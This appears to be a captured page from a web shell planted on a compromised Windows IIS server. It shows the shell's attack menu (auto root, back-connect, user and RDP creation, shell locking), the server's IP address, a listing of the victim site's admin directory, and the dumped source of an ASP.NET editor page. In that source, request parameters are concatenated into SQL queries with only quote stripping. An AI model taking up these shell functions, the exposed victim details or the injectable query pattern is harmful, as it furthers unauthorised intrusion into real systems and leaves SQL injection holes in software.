Windows NT HGWS2 10.0 build 14393 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
: | : 18.223.211.185
Cant Read [ /etc/named.conf ]
8.3.19
IWPD_185(eibegypt)
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
D: /
InetPub /
vhosts /
eib-egypt.com /
httpdocs /
Admin /
[ HOME SHELL ]
Name
Size
Permission
Action
CLEditor1_4_3
[ DIR ]
drwxrwxrwx
JS
[ DIR ]
drwxrwxrwx
Pics
[ DIR ]
drwxrwxrwx
ckeditor
[ DIR ]
drwxrwxrwx
colorpickersliders
[ DIR ]
drwxrwxrwx
AdminTopBanner.ascx
121
B
-rw-rw-rw-
AdminTopBanner.ascx.cs
425
B
-rw-rw-rw-
Admin_MasterPage.master
8.1
KB
-rw-rw-rw-
Admin_MasterPage.master.cs
3.5
KB
-rw-rw-rw-
Admin_MasterPage_Action.master
844
B
-rw-rw-rw-
Admin_MasterPage_Action.master...
1.44
KB
-rw-rw-rw-
Admin_MasterPage_POP.master
976
B
-rw-rw-rw-
Admin_MasterPage_POP.master.cs
1.44
KB
-rw-rw-rw-
Admin_StyleSheet.css
2.94
KB
-rw-rw-rw-
Background-Style.aspx
5.78
KB
-rw-rw-rw-
Background-Style.aspx.cs
16.13
KB
-rw-rw-rw-
Border-Style.aspx
44.13
KB
-rw-rw-rw-
Border-Style.aspx.cs
21.86
KB
-rw-rw-rw-
BorderOnly-Style.aspx
39.69
KB
-rw-rw-rw-
BorderOnly-Style.aspx.cs
20.83
KB
-rw-rw-rw-
Default.aspx
551
B
-rw-rw-rw-
Default.aspx.cs
2.25
KB
-rw-rw-rw-
EditorPage.aspx
357.07
KB
-rw-rw-rw-
EditorPage.aspx.cs
158.4
KB
-rw-rw-rw-
EditorPage_Delete.aspx
1.85
KB
-rw-rw-rw-
EditorPage_Delete.aspx.cs
2.88
KB
-rw-rw-rw-
EditorPage_Update_Order.aspx
397
B
-rw-rw-rw-
EditorPage_Update_Order.aspx.c...
5.18
KB
-rw-rw-rw-
EditorPages.aspx
6.79
KB
-rw-rw-rw-
EditorPages.aspx.cs
10.64
KB
-rw-rw-rw-
Fonts.aspx
8.65
KB
-rw-rw-rw-
Fonts.aspx.cs
10.69
KB
-rw-rw-rw-
Groups_Hidden.aspx
2.36
KB
-rw-rw-rw-
Groups_Hidden.aspx.cs
3.15
KB
-rw-rw-rw-
Groups_New.aspx
3.45
KB
-rw-rw-rw-
Groups_New.aspx.cs
11.17
KB
-rw-rw-rw-
Groups_Update.aspx
4.47
KB
-rw-rw-rw-
Groups_Update.aspx.cs
13.53
KB
-rw-rw-rw-
Groups_Update_Hide.aspx
387
B
-rw-rw-rw-
Groups_Update_Hide.aspx.cs
1.8
KB
-rw-rw-rw-
Groups_Update_Order.aspx
389
B
-rw-rw-rw-
Groups_Update_Order.aspx.cs
4.77
KB
-rw-rw-rw-
HeaderFooterNew.aspx
1.12
KB
-rw-rw-rw-
HeaderFooterNew.aspx.cs
283
B
-rw-rw-rw-
Help.aspx
10.91
KB
-rw-rw-rw-
Help.aspx.cs
262
B
-rw-rw-rw-
InitiateModule.aspx
379
B
-rw-rw-rw-
InitiateModule.aspx.cs
15.9
KB
-rw-rw-rw-
Link-Style.aspx
115.94
KB
-rw-rw-rw-
Link-Style.aspx.cs
72.5
KB
-rw-rw-rw-
Login.aspx
2.35
KB
-rw-rw-rw-
Login.aspx.cs
4.55
KB
-rw-rw-rw-
Logos.aspx
5.34
KB
-rw-rw-rw-
Logos.aspx.cs
14.08
KB
-rw-rw-rw-
Module-Settings-Common.aspx
2.94
KB
-rw-rw-rw-
Module-Settings-Common.aspx.cs
5.57
KB
-rw-rw-rw-
Module-Settings.aspx
6.53
KB
-rw-rw-rw-
Module-Settings.aspx.cs
5.49
KB
-rw-rw-rw-
Photos-POP.aspx
6
KB
-rw-rw-rw-
Photos-POP.aspx.cs
12.97
KB
-rw-rw-rw-
Photos.aspx
5.9
KB
-rw-rw-rw-
Photos.aspx.cs
12.81
KB
-rw-rw-rw-
StartGroup.aspx
1.63
KB
-rw-rw-rw-
StartGroup.aspx.cs
4.67
KB
-rw-rw-rw-
Strip-Style.aspx
89.8
KB
-rw-rw-rw-
Strip-Style.aspx.cs
49.81
KB
-rw-rw-rw-
Text-Border-Style.aspx
54.86
KB
-rw-rw-rw-
Text-Border-Style.aspx.cs
31.23
KB
-rw-rw-rw-
Text-Style.aspx
8.67
KB
-rw-rw-rw-
Text-Style.aspx.cs
13.67
KB
-rw-rw-rw-
Text.aspx
3.06
KB
-rw-rw-rw-
Text.aspx.cs
3.71
KB
-rw-rw-rw-
UpperBanners.aspx
15.72
KB
-rw-rw-rw-
UpperBanners.aspx.cs
29.14
KB
-rw-rw-rw-
UpperBanners_InsertBlank.aspx
399
B
-rw-rw-rw-
UpperBanners_InsertBlank.aspx....
1.65
KB
-rw-rw-rw-
UpperBanners_Set_Effect.aspx
397
B
-rw-rw-rw-
UpperBanners_Set_Effect.aspx.c...
1.02
KB
-rw-rw-rw-
WUC_RightMenu.ascx
5.1
KB
-rw-rw-rw-
WUC_RightMenu.ascx.cs
8.99
KB
-rw-rw-rw-
try.aspx
15.38
KB
-rw-rw-rw-
try.aspx.cs
545
B
-rw-rw-rw-
try.htm
8.81
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : EditorPage.aspx.cs
using System; using System.Data; using System.Collections.Generic; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Drawing; using System.Drawing.Drawing2D; using System.Drawing.Imaging; using System.IO; public partial class Admin_EditorPage : System.Web.UI.Page { private int int_EditorPage_Type_ID; private int int_Parent_EditorPage_Type_ID = 0; public string str_UploadedPhoto_Width; public string str_UploadedPhoto_Height; public bool bool_cont_HasSettings; DBAccess.DBAccess ClSqlCmd; public void Page_Load(object sender, EventArgs e) { ClSqlCmd = new DBAccess.DBAccess(System.Configuration.ConfigurationSettings.AppSettings["SE_ConnectionString"]); /////////////////////////////////////////////////////////////////////////// if (!Page.IsPostBack) { btn_Delete.Attributes["onclick"] = "javascript:return confirm('تأكيد الحذف');"; if (Request.Params["ND"] != null && Request.Params["ND"] != "") { tr_Delete.Visible = false; } else { if (Request.Params["EPID"] != null && Request.Params["EPID"] != "") { tr_Delete.Visible = true; } else { tr_Delete.Visible = false; } } /////////////////////////////////////////////////////// int_EditorPage_Type_ID = -1; bool_cont_HasSettings = false; GetParentType(); GetData(); //f_ShowHide(); } } private Size NewthumbSize(int currentwidth, int currentheight, int MaxWH) { //Calculate the Size of the New image Double tempMultiplier; Size NewSize = new Size(); if (currentheight > currentwidth) // portrait { if (currentheight > MaxWH) { NewSize = new Size(Convert.ToInt32(currentwidth * MaxWH / currentheight), Convert.ToInt32(currentheight * MaxWH / currentheight)); } else { NewSize = new Size(Convert.ToInt32(currentwidth), Convert.ToInt32(currentheight)); } } else { if (currentwidth > MaxWH) { NewSize = new Size(Convert.ToInt32(currentwidth * MaxWH / currentwidth), Convert.ToInt32(currentheight * MaxWH / currentwidth)); } else { NewSize = new Size(Convert.ToInt32(currentwidth), Convert.ToInt32(currentheight)); } } return NewSize; } private string ImgRes_Save(string filepath, string id, int MaxWH) { System.Drawing.Image g = System.Drawing.Image.FromFile(filepath); ///////////////// str_UploadedPhoto_Width = g.Width.ToString(); str_UploadedPhoto_Height = g.Height.ToString(); ///////////////// ImageFormat thisFormat = g.RawFormat; Size thumbSize = new Size(); thumbSize = NewthumbSize(g.Width, g.Height, MaxWH); //create a new Bitmap the size of the new image Bitmap imgOutput = new Bitmap(thumbSize.Width, thumbSize.Height); //create a new graphic from the Bitmap Graphics graphic = Graphics.FromImage((System.Drawing.Image)imgOutput); graphic.SmoothingMode = SmoothingMode.HighQuality; graphic.InterpolationMode = InterpolationMode.HighQualityBicubic; graphic.PixelOffsetMode = PixelOffsetMode.HighQuality; //draw the newly resized image graphic.DrawImage(g, 0, 0, thumbSize.Width, thumbSize.Height); //if (MaxWH > 300) //{ // using (System.Drawing.Image j = System.Drawing.Image.FromFile(Request.MapPath("") + "/Pics/Logo.png", true)) // { // graphic.DrawImage(j, new Rectangle(10, thumbSize.Height - (((g.Width / 4) * 90 / 200) + 10), (g.Width / 4), ((g.Width / 4) * 90 / 200))); // } //} System.IO.FileStream fs = new FileStream(Request.MapPath("") + "\\..\\Photos_Swfs\\" + id.ToString(), FileMode.OpenOrCreate); //imgOutput.Save(Response.OutputStream, thisFormat); //output to the user imgOutput.Save(fs, thisFormat); //output to the user //tidy up //dispose and free up the resources graphic.Dispose(); g.Dispose(); imgOutput.Dispose(); fs.Dispose(); g = null; return id.ToString(); } void GetParentType() { DataSet DS = new DataSet(); #region Get Type if (Request.Params["EPID"] != null && Request.Params["EPID"] != "") { DS = ClSqlCmd.DataSetSel(@" SELECT __StandardEngine_T_EditorPages_1.EditorPage_Type_ID FROM dbo.__StandardEngine_T_EditorPages INNER JOIN dbo.__StandardEngine_T_EditorPages AS __StandardEngine_T_EditorPages_1 ON dbo.__StandardEngine_T_EditorPages.Parent_EditorPage_ID = __StandardEngine_T_EditorPages_1.EditorPage_ID where dbo.__StandardEngine_T_EditorPages.EditorPage_ID=" + Request.Params["EPID"].Replace("'", "")); if (DS.Tables.Count > 0 && DS.Tables[0].Rows.Count > 0 && DS.Tables[0].Rows[0]["EditorPage_Type_ID"] != Convert.DBNull) { int_Parent_EditorPage_Type_ID = Convert.ToInt32(DS.Tables[0].Rows[0]["EditorPage_Type_ID"].ToString()); tr_OuterCont.Visible = false; } else { tr_HorizontalContents.Visible = true; tr_OuterCont.Visible = true; } } else { DS = ClSqlCmd.DataSetSel(@" SELECT EditorPage_Type_ID FROM dbo.__StandardEngine_T_EditorPages where EditorPage_ID=" + Request.Params["PrntEPID"].Replace("'", "")); if (DS.Tables.Count > 0 && DS.Tables[0].Rows.Count > 0 && DS.Tables[0].Rows[0]["EditorPage_Type_ID"] != Convert.DBNull) { int_Parent_EditorPage_Type_ID = Convert.ToInt32(DS.Tables[0].Rows[0]["EditorPage_Type_ID"].ToString()); tr_OuterCont.Visible = false; rb_Type_7.Enabled=false; } else { int_Parent_EditorPage_Type_ID=-1; tr_HorizontalContents.Visible = true; tr_OuterCont.Visible = true; ///////////////////////////////////////////////////////// f_DisableAllTypes(); rb_Type_7.Checked = true; rb_Type_7.Enabled = true; /////////////////////////////////////////////////////// btn_Save.Visible = true; btn_SaveStay.Visible = true; int_EditorPage_Type_ID = 7; //f_ShowHide(); } } #endregion if (int_Parent_EditorPage_Type_ID == -1 || int_Parent_EditorPage_Type_ID == 1001 || int_Parent_EditorPage_Type_ID == 2001) { tr_HorizontalContents.Visible = true; tr_OuterCont.Visible = true; ///////////////////////////////////////////////////////// f_DisableAllTypes(); rb_Type_7.Checked = true; rb_Type_7.Enabled = true; /////////////////////////////////////////////////////// btn_Save.Visible = true; btn_SaveStay.Visible = true; int_EditorPage_Type_ID = 7; } } void GetData() { DataSet DS = new DataSet(); #region Get Type #region PassedType if (Request.Params["Type"] != null && Request.Params["Type"] != "") { int_EditorPage_Type_ID = Convert.ToInt32(Request.Params["Type"]); switch (int_EditorPage_Type_ID) { case 1: rb_Type_1.Checked = true; break; case 2: rb_Type_2.Checked = true; break; case 10: rb_Type_10.Checked = true; break; case 11: rb_Type_10.Checked = true; rb_SubType_11.Checked = true; break; case 12: rb_Type_10.Checked = true; rb_SubType_12.Checked = true; break; case 13: rb_Type_10.Checked = true; rb_SubType_13.Checked = true; break; case 14: rb_Type_10.Checked = true; rb_SubType_14.Checked = true; break; case 21: rb_Type_10.Checked = true; rb_SubType_21.Checked = true; break; case 22: rb_Type_10.Checked = true; rb_SubType_22.Checked = true; break; case 3: rb_Type_3.Checked = true; break; case 4: rb_Type_4.Checked = true; break; case 5: rb_Type_5.Checked = true; break; case 7: rb_Type_7.Checked = true; break; case 9: f_DisableAllTypes(); rb_Type_9.Checked = true; rb_Type_9.Enabled = true; break; case 8: rb_Type_8.Checked = true; break; case 101: rb_Type_101.Checked = true; break; case 201: rb_Type_201.Checked = true; break; } ///////////////////////////////////// if (Request.Params["Type"] == "5") { tr_Types.Visible = false; f_ShowHide(); } //tr_Types.Style["Position"] = "absolute"; //tr_Types.Style["top"] = "-1000px"; } #endregion //////////////////////////////////////////////////////////////////////////////// if (Request.Params["EPID"] == null || Request.Params["EPID"] == "") { return; } //////////////////////////////////////////////////////////////////////////////// DS = ClSqlCmd.DataSetSel(@" SELECT EditorPage_Type_ID FROM dbo.__StandardEngine_T_EditorPages where EditorPage_ID="+Request.Params["EPID"].Replace("'","")); if (DS.Tables.Count > 0 && DS.Tables[0].Rows.Count > 0) { int_EditorPage_Type_ID = Convert.ToInt32(DS.Tables[0].Rows[0]["EditorPage_Type_ID"].ToString()); f_ShowHide(); } #endregion #region Get Texts DS = ClSqlCmd.DataSetSel(@" SELECT dbo.__StandardEngine_T_Texts.Text_ID, dbo.__StandardEngine_T_Texts.[Order], dbo.__StandardEngine_T_Texts.Text, dbo.__StandardEngine_T_BorderMode.BorderMode_ID, dbo.__StandardEngine_T_BorderMode.Padding, dbo.__StandardEngine_T_BorderMode.BackColor, dbo.__StandardEngine_T_BorderMode.TopBorder_Color, dbo.__StandardEngine_T_BorderMode.RightBorder_Color, dbo.__StandardEngine_T_BorderMode.BottomBorder_Color, dbo.__StandardEngine_T_BorderMode.LeftBorder_Color, dbo.__StandardEngine_T_BorderMode.TopBorder_Style, dbo.__StandardEngine_T_BorderMode.RightBorder_Style, dbo.__StandardEngine_T_BorderMode.BottomBorder_Style, dbo.__StandardEngine_T_BorderMode.LeftBorder_Style, dbo.__StandardEngine_T_BorderMode.TopBorder_Size, dbo.__StandardEngine_T_BorderMode.RightBorder_Size, dbo.__StandardEngine_T_BorderMode.BottomBorder_Size, dbo.__StandardEngine_T_BorderMode.LeftBorder_Size, dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Top], dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Right], dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Bottom], dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Left], dbo.__StandardEngine_T_BorderMode.[Shadow_Hor], dbo.__StandardEngine_T_BorderMode.[Shadow_Vor], dbo.__StandardEngine_T_BorderMode.[Shadow_Blur], dbo.__StandardEngine_T_BorderMode.[Shadow_Color], dbo.__StandardEngine_T_BorderMode.[Curve_Radius] FROM dbo.__StandardEngine_T_Texts LEFT OUTER JOIN dbo.__StandardEngine_T_BorderMode ON dbo.__StandardEngine_T_Texts.BorderMode_ID = dbo.__StandardEngine_T_BorderMode.BorderMode_ID where dbo.__StandardEngine_T_Texts.[EditorPage_ID]=" + Request.Params["EPID"].Replace("'", "") + @" Order by dbo.__StandardEngine_T_Texts.[Order] asc, dbo.__StandardEngine_T_Texts.Text_ID asc"); if (DS.Tables.Count > 0 && DS.Tables[0].Rows.Count > 0) { for (int i = 0; i < DS.Tables[0].Rows.Count; i++) { #region set for Desc / Editor if (DS.Tables[0].Rows[i]["Order"].ToString() == "1") { if (DS.Tables[0].Rows[i]["BorderMode_ID"] != Convert.DBNull) { rb_Desc_Settings.SelectedValue = "1"; tr_Desc_Settings.Visible = true; } else { rb_Desc_Settings.SelectedValue = "0"; tr_Desc_Settings.Visible = false; } /////////////////////////////////////////////////////// if (DS.Tables[0].Rows[i]["Text"] != Convert.DBNull) txt_Description.Value = DS.Tables[0].Rows[i]["Text"].ToString(); if (DS.Tables[0].Rows[i]["Padding"] != Convert.DBNull) { string[] Padding = DS.Tables[0].Rows[i]["Padding"].ToString().Split(null); ddl_Desc_Padding_Top.Value = (Padding.Length >= 1 && Padding[0] != "") ? Padding[0] : ddl_Desc_Padding_Top.Value; ddl_Desc_Padding_Right.Value = (Padding.Length >= 2 && Padding[1] != "") ? Padding[1] : ddl_Desc_Padding_Right.Value; ddl_Desc_Padding_Bottom.Value = (Padding.Length >= 3 && Padding[2] != "") ? Padding[2] : ddl_Desc_Padding_Bottom.Value; ddl_Desc_Padding_Left.Value = (Padding.Length >= 4 && Padding[3] != "") ? Padding[3] : ddl_Desc_Padding_Left.Value; } if (DS.Tables[0].Rows[i]["BackColor"] != Convert.DBNull) txt_Desc_BackColor.Value = DS.Tables[0].Rows[i]["BackColor"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Color"] != Convert.DBNull) txt_Desc_TopBorder_Color.Value = DS.Tables[0].Rows[i]["TopBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Color"] != Convert.DBNull) txt_Desc_RightBorder_Color.Value = DS.Tables[0].Rows[i]["RightBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Color"] != Convert.DBNull) txt_Desc_BottomBorder_Color.Value = DS.Tables[0].Rows[i]["BottomBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Color"] != Convert.DBNull) txt_Desc_LeftBorder_Color.Value = DS.Tables[0].Rows[i]["LeftBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Style"] != Convert.DBNull) ddl_Desc_TopBorder_Style.Value = DS.Tables[0].Rows[i]["TopBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Style"] != Convert.DBNull) ddl_Desc_RightBorder_Style.Value = DS.Tables[0].Rows[i]["RightBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Style"] != Convert.DBNull) ddl_Desc_BottomBorder_Style.Value = DS.Tables[0].Rows[i]["BottomBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Style"] != Convert.DBNull) ddl_Desc_LeftBorder_Style.Value = DS.Tables[0].Rows[i]["LeftBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Size"] != Convert.DBNull) ddl_Desc_TopBorder_Size.Value = DS.Tables[0].Rows[i]["TopBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Size"] != Convert.DBNull) ddl_Desc_RightBorder_Size.Value = DS.Tables[0].Rows[i]["RightBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Size"] != Convert.DBNull) ddl_Desc_BottomBorder_Size.Value = DS.Tables[0].Rows[i]["BottomBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Size"] != Convert.DBNull) ddl_Desc_LeftBorder_Size.Value = DS.Tables[0].Rows[i]["LeftBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Top"] != Convert.DBNull) ddl_Desc_Shadow_Padding_Top.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Top"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Right"] != Convert.DBNull) ddl_Desc_Shadow_Padding_Right.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Right"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Bottom"] != Convert.DBNull) ddl_Desc_Shadow_Padding_Bottom.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Bottom"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Left"] != Convert.DBNull) ddl_Desc_Shadow_Padding_Left.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Left"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Hor"] != Convert.DBNull) { ddl_Desc_Shadow_Hor.Value = DS.Tables[0].Rows[i]["Shadow_Hor"].ToString(); if (Convert.ToInt32(DS.Tables[0].Rows[i]["Shadow_Hor"].ToString().Replace("px", "")) < 0) { rbl_Desc_Shadow_Hor.SelectedValue = "-"; } else { rbl_Desc_Shadow_Hor.SelectedValue = ""; } } if (DS.Tables[0].Rows[i]["Shadow_Vor"] != Convert.DBNull) { ddl_Desc_Shadow_Ver.Value = DS.Tables[0].Rows[i]["Shadow_Vor"].ToString(); if (Convert.ToInt32(DS.Tables[0].Rows[i]["Shadow_Vor"].ToString().Replace("px", "")) < 0) { rbl_Desc_Shadow_Ver.SelectedValue = "-"; } else { rbl_Desc_Shadow_Ver.SelectedValue = ""; } } if (DS.Tables[0].Rows[i]["Shadow_Blur"] != Convert.DBNull) ddl_Desc_Shadow_Blur.Value = DS.Tables[0].Rows[i]["Shadow_Blur"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Color"] != Convert.DBNull) txt_Desc_Shadow_Color.Value = DS.Tables[0].Rows[i]["Shadow_Color"].ToString(); if (DS.Tables[0].Rows[i]["Curve_Radius"] != Convert.DBNull) ddl_Desc_Curve_Radius.Value = DS.Tables[0].Rows[i]["Curve_Radius"].ToString(); } #endregion #region set for Title if (DS.Tables[0].Rows[i]["Order"].ToString() == "2") { if (DS.Tables[0].Rows[i]["BorderMode_ID"] != Convert.DBNull) { rb_Title_Settings.SelectedValue = "1"; tr_Title_Settings.Visible = true; } else { rb_Title_Settings.SelectedValue = "0"; tr_Title_Settings.Visible = false; } /////////////////////////////////////////////////////// if (DS.Tables[0].Rows[i]["Text"] != Convert.DBNull) txt_Title.Value = DS.Tables[0].Rows[i]["Text"].ToString(); if (DS.Tables[0].Rows[i]["Padding"] != Convert.DBNull) { string[] Padding = DS.Tables[0].Rows[i]["Padding"].ToString().Split(null); ddl_Title_Padding_Top.Value = (Padding.Length >= 1 && Padding[0] != "") ? Padding[0] : ddl_Title_Padding_Top.Value; ddl_Title_Padding_Right.Value = (Padding.Length >= 2 && Padding[1] != "") ? Padding[1] : ddl_Title_Padding_Right.Value; ddl_Title_Padding_Bottom.Value = (Padding.Length >= 3 && Padding[2] != "") ? Padding[2] : ddl_Title_Padding_Bottom.Value; ddl_Title_Padding_Left.Value = (Padding.Length >= 4 && Padding[3] != "") ? Padding[3] : ddl_Title_Padding_Left.Value; } if (DS.Tables[0].Rows[i]["BackColor"] != Convert.DBNull) txt_Title_BackColor.Value = DS.Tables[0].Rows[i]["BackColor"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Color"] != Convert.DBNull) txt_Title_TopBorder_Color.Value = DS.Tables[0].Rows[i]["TopBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Color"] != Convert.DBNull) txt_Title_RightBorder_Color.Value = DS.Tables[0].Rows[i]["RightBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Color"] != Convert.DBNull) txt_Title_BottomBorder_Color.Value = DS.Tables[0].Rows[i]["BottomBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Color"] != Convert.DBNull) txt_Title_LeftBorder_Color.Value = DS.Tables[0].Rows[i]["LeftBorder_Color"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Style"] != Convert.DBNull) ddl_Title_TopBorder_Style.Value = DS.Tables[0].Rows[i]["TopBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Style"] != Convert.DBNull) ddl_Title_RightBorder_Style.Value = DS.Tables[0].Rows[i]["RightBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Style"] != Convert.DBNull) ddl_Title_BottomBorder_Style.Value = DS.Tables[0].Rows[i]["BottomBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Style"] != Convert.DBNull) ddl_Title_LeftBorder_Style.Value = DS.Tables[0].Rows[i]["LeftBorder_Style"].ToString(); if (DS.Tables[0].Rows[i]["TopBorder_Size"] != Convert.DBNull) ddl_Title_TopBorder_Size.Value = DS.Tables[0].Rows[i]["TopBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["RightBorder_Size"] != Convert.DBNull) ddl_Title_RightBorder_Size.Value = DS.Tables[0].Rows[i]["RightBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["BottomBorder_Size"] != Convert.DBNull) ddl_Title_BottomBorder_Size.Value = DS.Tables[0].Rows[i]["BottomBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["LeftBorder_Size"] != Convert.DBNull) ddl_Title_LeftBorder_Size.Value = DS.Tables[0].Rows[i]["LeftBorder_Size"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Top"] != Convert.DBNull) ddl_Title_Shadow_Padding_Top.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Top"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Right"] != Convert.DBNull) ddl_Title_Shadow_Padding_Right.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Right"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Bottom"] != Convert.DBNull) ddl_Title_Shadow_Padding_Bottom.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Bottom"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Padding_Left"] != Convert.DBNull) ddl_Title_Shadow_Padding_Left.Value = DS.Tables[0].Rows[i]["Shadow_Padding_Left"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Hor"] != Convert.DBNull) { ddl_Title_Shadow_Hor.Value = DS.Tables[0].Rows[i]["Shadow_Hor"].ToString(); if (Convert.ToInt32(DS.Tables[0].Rows[i]["Shadow_Hor"].ToString().Replace("px", "")) < 0) { rbl_Title_Shadow_Hor.SelectedValue = "-"; } else { rbl_Title_Shadow_Hor.SelectedValue = ""; } } if (DS.Tables[0].Rows[i]["Shadow_Vor"] != Convert.DBNull) { ddl_Title_Shadow_Ver.Value = DS.Tables[0].Rows[i]["Shadow_Vor"].ToString(); if (Convert.ToInt32(DS.Tables[0].Rows[i]["Shadow_Vor"].ToString().Replace("px", "")) < 0) { rbl_Title_Shadow_Ver.SelectedValue = "-"; } else { rbl_Title_Shadow_Ver.SelectedValue = ""; } } if (DS.Tables[0].Rows[i]["Shadow_Blur"] != Convert.DBNull) ddl_Title_Shadow_Blur.Value = DS.Tables[0].Rows[i]["Shadow_Blur"].ToString(); if (DS.Tables[0].Rows[i]["Shadow_Color"] != Convert.DBNull) txt_Title_Shadow_Color.Value = DS.Tables[0].Rows[i]["Shadow_Color"].ToString(); if (DS.Tables[0].Rows[i]["Curve_Radius"] != Convert.DBNull) ddl_Title_Curve_Radius.Value = DS.Tables[0].Rows[i]["Curve_Radius"].ToString(); } #endregion } } #endregion #region Get Images DS = ClSqlCmd.DataSetSel(@" SELECT dbo.__StandardEngine_T_Photos.Photo_ID, dbo.__StandardEngine_T_Photos.Photo_URL_Large, dbo.__StandardEngine_T_Photos.Photo_URL_Medium, dbo.__StandardEngine_T_Photos.[Order], dbo.__StandardEngine_T_Photos.[Photo_Width], dbo.__StandardEngine_T_BorderMode.BorderMode_ID, dbo.__StandardEngine_T_BorderMode.Padding, dbo.__StandardEngine_T_BorderMode.BackColor, dbo.__StandardEngine_T_BorderMode.TopBorder_Color, dbo.__StandardEngine_T_BorderMode.RightBorder_Color, dbo.__StandardEngine_T_BorderMode.BottomBorder_Color, dbo.__StandardEngine_T_BorderMode.LeftBorder_Color, dbo.__StandardEngine_T_BorderMode.TopBorder_Style, dbo.__StandardEngine_T_BorderMode.RightBorder_Style, dbo.__StandardEngine_T_BorderMode.BottomBorder_Style, dbo.__StandardEngine_T_BorderMode.LeftBorder_Style, dbo.__StandardEngine_T_BorderMode.TopBorder_Size, dbo.__StandardEngine_T_BorderMode.RightBorder_Size, dbo.__StandardEngine_T_BorderMode.BottomBorder_Size, dbo.__StandardEngine_T_BorderMode.LeftBorder_Size, dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Top], dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Right], dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Bottom], dbo.__StandardEngine_T_BorderMode.[Shadow_Padding_Left], dbo.__StandardEngine_T_BorderMode.[Shadow_Hor], dbo.__StandardEngine_T_BorderMode.[Shadow_Vor], dbo.__StandardEngine_T_BorderMode.[Shadow_Blur], dbo.__StandardEngine_T_BorderMode.[Shadow_Color], dbo.__StandardEngine_T_BorderMode.[Curve_Radius] FROM dbo.__StandardEngine_T_BorderMode RIGHT OUTER JOIN dbo.__StandardEngine_T_Photos ON dbo.__StandardEngine_T_BorderMode.BorderMode_ID = dbo.__StandardEngine_T_Photos.BorderMode_ID where dbo.__StandardEngine_T_Photos.[EditorPage_ID]=" + Request.Params["EPID"].Replace("'", "") + @" Order by dbo.__StandardEngine_T_Photos.[Order] asc, dbo.__StandardEngine_T_Photos.Photo_ID asc"); if (DS.Tables.Count > 0 && DS.Tables[0].Rows.Count > 0) { for (int i = 0; i < DS.Tables[0].Rows.Count; i++) //It is all one { if (DS.Tables[0].Rows[i]["BorderMode_ID"] != Convert.DBNull) { rb_Photo_Settings.SelectedValue = "1"; tr_Photo_Settings.Visible = true; } else { rb_Photo_Settings.SelectedValue = "0"; tr_Photo_Settings.Visible = false; } /////////////////////////////////////////////////////// if (DS.Tables[0].Rows[i]["Photo_URL_Large"] != Convert.DBNull) { tr_Photo_Filename.Visible = true; /////////////////////////////////////////////// img_Photo_Filename.ImageUrl = "../Photos_Swfs/" + DS.Tables[0].Rows[i]["Photo_URL_Large"].ToString(); hdn_Photo_Photo_URL_Large.Value = DS.Tables[0].Rows[i]["Photo_URL_Large"].ToString(); } else { tr_Photo_Filename.Visible = false; } if (DS.Tables[0].Rows[i]["Photo_URL_Medium"] != Convert.DBNull) hdn_Photo_Photo_URL_Medium.Value = DS.Tables[0].Rows[i]["Photo_URL_Medium"].ToString(); if (DS.Tables[0].Rows[i]["Padding"] != Convert.DBNull) { string[] Padding = DS.Tables[0].Rows[i]["Padding"].ToString().Split(null); ddl_Photo_Padding_Top.Value = (Padding.Length >= 1 && Padding[0] != "") ? Padding[0] : ddl_Photo_Padding_Top.Value; ddl_Photo_Padding_Right.Value = 